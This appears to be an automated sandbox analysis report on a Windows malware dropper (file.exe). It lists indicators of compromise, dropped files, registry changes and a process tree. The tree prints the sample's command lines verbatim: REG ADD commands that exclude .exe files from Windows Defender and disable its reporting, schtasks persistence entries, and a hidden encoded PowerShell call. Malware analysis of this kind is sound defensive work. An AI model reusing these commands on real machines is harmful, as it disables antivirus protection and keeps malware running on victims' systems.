Analysis
-
max time kernel
90s -
max time network
104s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
06-02-2023 22:14
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20220812-en
General
-
Target
file.exe
-
Size
7.3MB
-
MD5
b5ceeee8096c730a9156dc752ad384b4
-
SHA1
4f4318e822b870e78980f71dcaa70d21f22e3135
-
SHA256
b0b4acd86937db49d7e4db0c3791442a85747cd677cd84cb78d41391c15ec495
-
SHA512
1b79d14a818c574f8f81b290856c476d35ed9afe1ae174fbc67155572a2b1b33a078a82c1bfdeb454a29f75ce2a84986d596a79614c30551a6a56ffab9f21218
-
SSDEEP
98304:91Oueznz7VB2EP1Wb5QdvDdmSwbOQC2a6j/lP7DMXnn41Xy8PtNGeeq13VApXq3V:91OBVoSWWBqNvFRDAVMGefAXMra5E1WW
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
rundll32.exeflow pid process 51 5108 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Install.exevODsFwl.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation Install.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation vODsFwl.exe -
Executes dropped EXE 4 IoCs
Processes:
Install.exeInstall.exeKaHoBCD.exevODsFwl.exepid process 5056 Install.exe 2792 Install.exe 400 KaHoBCD.exe 1992 vODsFwl.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 5108 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 1 IoCs
Processes:
vODsFwl.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json vODsFwl.exe -
Drops desktop.ini file(s) 1 IoCs
Processes:
vODsFwl.exedescription ioc process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini vODsFwl.exe -
Drops file in System32 directory 27 IoCs
Processes:
vODsFwl.exepowershell.exeInstall.exeKaHoBCD.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA vODsFwl.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5FEB33CBE0463E334B23E93A48C2DB5C vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_450C63FC50977E21DE9DE54EB1509725 vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 vODsFwl.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5FEB33CBE0463E334B23E93A48C2DB5C vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_450C63FC50977E21DE9DE54EB1509725 vODsFwl.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini KaHoBCD.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_7638F332B8B62A320F9A599D313334B6 vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_7638F332B8B62A320F9A599D313334B6 vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA vODsFwl.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol KaHoBCD.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies vODsFwl.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache vODsFwl.exe -
Drops file in Program Files directory 14 IoCs
Processes:
vODsFwl.exedescription ioc process File created C:\Program Files (x86)\FpvksngNCKIjC\lhomDIY.dll vODsFwl.exe File created C:\Program Files (x86)\cfvymemHCAUn\iZdNwjv.dll vODsFwl.exe File created C:\Program Files (x86)\RIuAFuLLU\DwJXoM.dll vODsFwl.exe File created C:\Program Files (x86)\RIuAFuLLU\jbCwwNI.xml vODsFwl.exe File created C:\Program Files (x86)\QqSrWmvdGtwU2\AWYzPuL.xml vODsFwl.exe File created C:\Program Files (x86)\fGfduYyRRUhwWrnEYNR\bDCWQec.xml vODsFwl.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi vODsFwl.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak vODsFwl.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak vODsFwl.exe File created C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi vODsFwl.exe File created C:\Program Files (x86)\fGfduYyRRUhwWrnEYNR\nIMcQrU.dll vODsFwl.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja vODsFwl.exe File created C:\Program Files (x86)\QqSrWmvdGtwU2\jDAwQJOXPogMO.dll vODsFwl.exe File created C:\Program Files (x86)\FpvksngNCKIjC\vARuciX.xml vODsFwl.exe -
Drops file in Windows directory 4 IoCs
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process File created C:\Windows\Tasks\vdoHbRZAyoFFuVbVu.job schtasks.exe File created C:\Windows\Tasks\bCfEGNwGDQwhWneLvC.job schtasks.exe File created C:\Windows\Tasks\cfFFKgQyvKFYWQGgS.job schtasks.exe File created C:\Windows\Tasks\qcUOvNLqmSmqpxF.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 11 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2348 schtasks.exe 2392 schtasks.exe 2352 schtasks.exe 664 schtasks.exe 2344 schtasks.exe 1652 schtasks.exe 1512 schtasks.exe 3456 schtasks.exe 316 schtasks.exe 4412 schtasks.exe 4692 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.exepowershell.exevODsFwl.exerundll32.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ vODsFwl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume vODsFwl.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" vODsFwl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "0" vODsFwl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" vODsFwl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" vODsFwl.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix vODsFwl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe -
Suspicious behavior: EnumeratesProcesses 44 IoCs
Processes:
powershell.EXEpowershell.exepowershell.exepowershell.EXEvODsFwl.exepid process 2800 powershell.EXE 2800 powershell.EXE 2972 powershell.exe 2972 powershell.exe 788 powershell.exe 788 powershell.exe 3476 powershell.EXE 3476 powershell.EXE 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe 1992 vODsFwl.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.EXEpowershell.exepowershell.exepowershell.EXEdescription pid process Token: SeDebugPrivilege 2800 powershell.EXE Token: SeDebugPrivilege 2972 powershell.exe Token: SeDebugPrivilege 788 powershell.exe Token: SeDebugPrivilege 3476 powershell.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exepowershell.EXEKaHoBCD.exepowershell.execmd.exedescription pid process target process PID 3568 wrote to memory of 5056 3568 file.exe Install.exe PID 3568 wrote to memory of 5056 3568 file.exe Install.exe PID 3568 wrote to memory of 5056 3568 file.exe Install.exe PID 5056 wrote to memory of 2792 5056 Install.exe Install.exe PID 5056 wrote to memory of 2792 5056 Install.exe Install.exe PID 5056 wrote to memory of 2792 5056 Install.exe Install.exe PID 2792 wrote to memory of 4456 2792 Install.exe forfiles.exe PID 2792 wrote to memory of 4456 2792 Install.exe forfiles.exe PID 2792 wrote to memory of 4456 2792 Install.exe forfiles.exe PID 2792 wrote to memory of 4580 2792 Install.exe forfiles.exe PID 2792 wrote to memory of 4580 2792 Install.exe forfiles.exe PID 2792 wrote to memory of 4580 2792 Install.exe forfiles.exe PID 4456 wrote to memory of 2316 4456 forfiles.exe cmd.exe PID 4456 wrote to memory of 2316 4456 forfiles.exe cmd.exe PID 4456 wrote to memory of 2316 4456 forfiles.exe cmd.exe PID 4580 wrote to memory of 2244 4580 forfiles.exe cmd.exe PID 4580 wrote to memory of 2244 4580 forfiles.exe cmd.exe PID 4580 wrote to memory of 2244 4580 forfiles.exe cmd.exe PID 2316 wrote to memory of 4288 2316 cmd.exe reg.exe PID 2316 wrote to memory of 4288 2316 cmd.exe reg.exe PID 2316 wrote to memory of 4288 2316 cmd.exe reg.exe PID 2244 wrote to memory of 4612 2244 cmd.exe reg.exe PID 2244 wrote to memory of 4612 2244 cmd.exe reg.exe PID 2244 wrote to memory of 4612 2244 cmd.exe reg.exe PID 2244 wrote to memory of 1620 2244 cmd.exe reg.exe PID 2244 wrote to memory of 1620 2244 cmd.exe reg.exe PID 2244 wrote to memory of 1620 2244 cmd.exe reg.exe PID 2316 wrote to memory of 2088 2316 cmd.exe reg.exe PID 2316 wrote to memory of 2088 2316 cmd.exe reg.exe PID 2316 wrote to memory of 2088 2316 cmd.exe reg.exe PID 2792 wrote to memory of 316 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 316 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 316 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 3504 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 3504 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 3504 2792 Install.exe schtasks.exe PID 2800 wrote to memory of 1908 2800 powershell.EXE gpupdate.exe PID 2800 wrote to memory of 1908 2800 powershell.EXE gpupdate.exe PID 2792 wrote to memory of 3524 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 3524 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 3524 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 664 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 664 2792 Install.exe schtasks.exe PID 2792 wrote to memory of 664 2792 Install.exe schtasks.exe PID 400 wrote to memory of 2972 400 KaHoBCD.exe powershell.exe PID 400 wrote to memory of 2972 400 KaHoBCD.exe powershell.exe PID 400 wrote to memory of 2972 400 KaHoBCD.exe powershell.exe PID 2972 wrote to memory of 4888 2972 powershell.exe cmd.exe PID 2972 wrote to memory of 4888 2972 powershell.exe cmd.exe PID 2972 wrote to memory of 4888 2972 powershell.exe cmd.exe PID 4888 wrote to memory of 2344 4888 cmd.exe reg.exe PID 4888 wrote to memory of 2344 4888 cmd.exe reg.exe PID 4888 wrote to memory of 2344 4888 cmd.exe reg.exe PID 2972 wrote to memory of 3112 2972 powershell.exe reg.exe PID 2972 wrote to memory of 3112 2972 powershell.exe reg.exe PID 2972 wrote to memory of 3112 2972 powershell.exe reg.exe PID 2972 wrote to memory of 3280 2972 powershell.exe reg.exe PID 2972 wrote to memory of 3280 2972 powershell.exe reg.exe PID 2972 wrote to memory of 3280 2972 powershell.exe reg.exe PID 2972 wrote to memory of 2240 2972 powershell.exe reg.exe PID 2972 wrote to memory of 2240 2972 powershell.exe reg.exe PID 2972 wrote to memory of 2240 2972 powershell.exe reg.exe PID 2972 wrote to memory of 4676 2972 powershell.exe reg.exe PID 2972 wrote to memory of 4676 2972 powershell.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS79E8.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS7CA7.tmp\Install.exe.\Install.exe /S /site_id "525403"3⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gfdgvKabx" /SC once /ST 18:20:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gfdgvKabx"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gfdgvKabx"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bCfEGNwGDQwhWneLvC" /SC once /ST 23:15:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF\ChQsEQNyswpenHU\KaHoBCD.exe\" pb /site_id 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF\ChQsEQNyswpenHU\KaHoBCD.exeC:\Users\Admin\AppData\Local\Temp\qOrnnoslxFEibVOnF\ChQsEQNyswpenHU\KaHoBCD.exe pb /site_id 525403 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
